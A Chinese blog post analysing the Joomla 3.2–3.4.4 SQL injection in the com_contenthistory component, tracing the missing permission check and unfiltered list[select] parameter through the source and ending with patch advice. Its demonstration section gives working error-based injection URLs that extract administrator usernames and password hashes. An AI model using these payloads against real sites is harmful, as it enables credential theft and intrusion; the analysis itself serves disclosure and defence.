zoukankan      html  css  js  c++  java
  • Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

    RickGray · 2015/10/26 11:24

    昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。

    0x01 原理分析


    在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中:

    #!php
    <?php
    defined('_JEXEC') or die;    
    
    $lang = JFactory::getLanguage();
    $lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
    ||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);    
    
    require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
    复制代码

    可以看到该组件加载时并没有进行相关权限的监测,而 Joomla 中,一般的后台调用组件 (/administrator/components/下的组件) 都会进行组件对应的权限检查,例如后台中的 com_contact 组件

    #!php
    if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
    {
        return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
    }
    复制代码

    但是,程序在处理 contenthistory 组件时,并没有进行一个权限检查,程序初始化并设置好组件相关配置后,包含文件 /administrator/components/com_contenthistory/contenthistory.php,其内容如下:

    #!php
    <?php
    defined('_JEXEC') or die;    
    
    $controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
    $controller->execute(JFactory::getApplication()->input->get('task'));
    $controller->redirect();
    复制代码

    程序初始化基于 contenthistory 组件的控制类 JControllerLegacy,然后直接调用控制类的 execute() 方法,在 execute() 方法中,会调用其控制类中的 display(),代码位于 /libraries/legacy/controller/legacy.php

    #!php
    public function display($cachable = false, $urlparams = array())
    {
        $document = JFactory::getDocument();
        $viewType = $document->getType();
        $viewName = $this->input->get('view', $this->default_view);
        $viewLayout = $this->input->get('layout', 'default', 'string');    
    
        $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));    
    
        // Get/Create the model
        if ($model = $this->getModel($viewName))
        {
            // Push the model into the view (as default)
            $view->setModel($model, true);
        }
        (...省略...)
        if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
        { (...省略...) }
        else
        {
            $view->display();
        }    
    
        return $this;
    }
    复制代码

    处理程序从传递的参数中获取 viewlayout 的参数值进行初始化视图,并且调用 $model = $this->getModel($viewName) 加载对应数据模型,最终会调用 $view->display() 函数进行视图处理。

    Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作,也就是 view=history 时的程序处理会导致注入。在程序进行数据提取时,会进入 /administrator/components/com_contenthistory/models/history.php 文件中的 getListQuery() 函数:

    #!php
    protected function getListQuery()
    {
        // Create a new query object.
        $db = $this->getDbo();
        $query = $db->getQuery(true);    
    
        // Select the required fields from the table.
        $query->select(
            $this->getState(
                'list.select',
                'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
                'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
            )
        )
        ->from($db->quoteName('#__ucm_history') . ' AS h')
        ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
        ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))    
    
        // Join over the users for the editor
        ->select('uc.name AS editor')
        ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');    
    
        // Add the list ordering clause.
        $orderCol = $this->state->get('list.ordering');
        $orderDirn = $this->state->get('list.direction');
        $query->order($db->quoteName($orderCol) . $orderDirn);    
    
        return $query;
    }
    复制代码

    注意下面这段SQL语句构造部分:

    #!php
        $query->select(
            $this->getState(
                'list.select',
                'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
                'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
            )
        )
        ->from($db->quoteName('#__ucm_history') . ' AS h')
        ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
        ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
    复制代码

    其中 getState() 函数用于获取模型的属性和其对应的值,其函数定义位于 /ibraries/legacy/model/legacy.php

    #!php
    public function getState($property = null, $default = null)
    {
        if (!$this->__state_set)
        {
            // Protected method to auto-populate the model state.
            $this->populateState();    
    
            // Set the model state set flag to true.
            $this->__state_set = true;
        }    
    
        return $property === null ? $this->state : $this->state->get($property, $default);
    }
    复制代码

    然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数,在 contenthistory 组建中定义有自己的 populateState() 函数:

    #!php
    protected function populateState($ordering = null, $direction = null)
    {
        (...省略...)
        // List state information.
        parent::populateState('h.save_date', 'DESC');
    }
    复制代码

    函数最后,会调用父类的 populateState() 函数,因为该数据模型继承于 JModelList,所以父类相关代码位于 /libraries/legacy/model/list.php 中,而在父类该函数的处理中会解析请求中传递的 list[] 参数,解析并过滤预设键的值,但是却忽略了 list[select]

    #!php
    protected function populateState($ordering = null, $direction = null)
    {
        (...省略...)
            // Receive & set list options
            if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
            {
                foreach ($list as $name => $value)
                {
                    // Extra validations
                    switch ($name)
                    {
                        case 'fullordering':
                            (...省略...)
                        case 'ordering':
                            (...省略...)
                        case 'direction':
                            (...省略...)
                        case 'limit':
                            (...省略...)
                        default:
                            $value = $value;
                            break;
                    }    
    
                    $this->setState('list.' . $name, $value);
                }
            }
        (...省略...)
    复制代码

    而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里,从而导致了注入。

    0x02 漏洞演示


    通过上面简单的分析,已经知道了受影响的 Joomla 版本中,contenthistory 组件访问不受权限的控制,并且当进行 view=history 请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。

    1.漏洞验证

    http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

    因为在进行 SQL 语句拼接的时候,获取了 list.ordering 进行数据查询中的 order 操作,若不提供默认会将其设置为数据进行处理,相关处理位于 /libraries/joomla/database/driver.php 的 quoteName() 函数中。

    因此,访问上述构造的URL,服务器会报错:

    2.漏洞利用

    因为在 SQL 语句拼接时,程序框架针对每个 from 或者 where 操作进行了换行处理,所以这里并不能使用 #-- 等符号来注释掉后面的语句,只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件,也就是传递的 item_idtype_id 参数值必须于数据库中有效,同时传递 list[ordering] 参数 (空值即可),这样注入的语句才能够得到执行,从而进行报错注入。

    这里经过多个漏洞站点的测试可以简单的使用 item_id=1&type_id=1,当然了为了准确性和有效性,可以通过爆破的方式来得到这两个参数的有效值,然后再进行注入操作。

    (Tips:Joomla 中构造的 SQL 语句中 #_ 最终会在执行前被替换为表前缀)

    下面是获取用户名/密码哈希的漏洞演示过程:

    http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

    http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

    0x03 修复方案


    1. github.com/joomla/joom… 获取最新版本进行重新安装;
    2. github.com/joomla/joom… 下载相应版本的补丁程序进行升级;

    0x04 总结


    就 Joomla CMS 的用户量来看,目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory 组件能够被任意用户访问和加载,而参数的过滤不严格,导致攻击者能够构造出恶意的参数到执行流中产生注入。

    0x05 参考

    原文地址:blog.knownsec.com/2015/10/joo…

  • 相关阅读:
    最小花费
    LOJ10090
    LOJ2436
    loj10087
    LOJ2632
    LOJ10021 Addition Chains
    LOJ10019生日蛋糕
    loj10018数的划分
    LOJ10015扩散
    loj10014数列分段二
  • 原文地址:https://www.cnblogs.com/twodog/p/12137384.html
Copyright © 2011-2022 走看看